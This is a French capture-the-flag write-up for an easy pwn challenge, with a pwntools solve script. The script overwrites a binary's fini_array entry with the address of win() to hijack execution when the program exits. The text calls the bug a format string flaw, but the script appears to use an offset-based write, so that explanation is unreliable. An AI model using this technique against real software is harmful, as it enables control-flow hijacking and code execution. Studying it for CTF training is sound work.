[CTF GEMA] Lorem
CTF GEMA Groupe 2025
Niveau de Difficulté : Easy
Catégorie du Challenge : Pwn
Description :
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
Steps to Solve
- Calculer l'Offset
- L'offset entre
__do_global_dtors_aux_fini_array_entry
etlorem
est déterminé, car ces emplacements sont critiques pour l'exploit.
- L'offset entre
- Exploit Format String
- Une vulnérabilité de type format string est utilisée pour écraser la table
fini_array
. - L'adresse de la fonction
win()
est écrite dansfini_array
.
- Une vulnérabilité de type format string est utilisée pour écraser la table
- Détournement d'Exécution
- Une fois le programme terminé, au lieu d'exécuter les fonctions de nettoyage normales, il saute directement à
win()
, permettant à un attaquant de prendre le contrôle de l'exécution.
- Une fois le programme terminé, au lieu d'exécuter les fonctions de nettoyage normales, il saute directement à
Impact
En exploitant avec succès cette vulnérabilité, un attaquant peut rediriger l'exécution du programme, potentiellement élever les privilèges ou exécuter du code arbitraire.
Solve Code:
from pwn import *
import sys
import warnings
warnings.filterwarnings("ignore")
elf = context.binary = ELF("./main")
def conn():
if args.LOCAL:
r = process([elf.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("127.0.0.1", 9902)
return r
def main():
r = conn()
# offset=(elf.get_section_by_name('.fini_array').header.sh_addr - elf.sym['lorem']) # worked too
offset=(elf.sym['__do_global_dtors_aux_fini_array_entry'] - elf.sym['lorem'])
# print(r.recvline())
log.info(f"elf.got['puts'] = {hex(elf.got['puts'])}")
log.info(f"elf.sym['lorem'] = {hex(elf.sym['lorem'])}")
log.info(f"offset = {offset}")
r.sendlineafter(b': ', b'%i' %offset)
r.sendlineafter(b': ', p64(elf.sym['win']))
r.sendlineafter(b': ', b'-1')
r.interactive()
if __name__ == "__main__":
main()
# __do_global_dtors_aux_fini_array_entry manages the invocation of destructors for global and static objects constructed during the program’s execution. This ensures that all resources are released appropriately, avoiding resource leaks and ensuring proper shutdown behavior.
FLAG :
FLAG{comming_soon_...}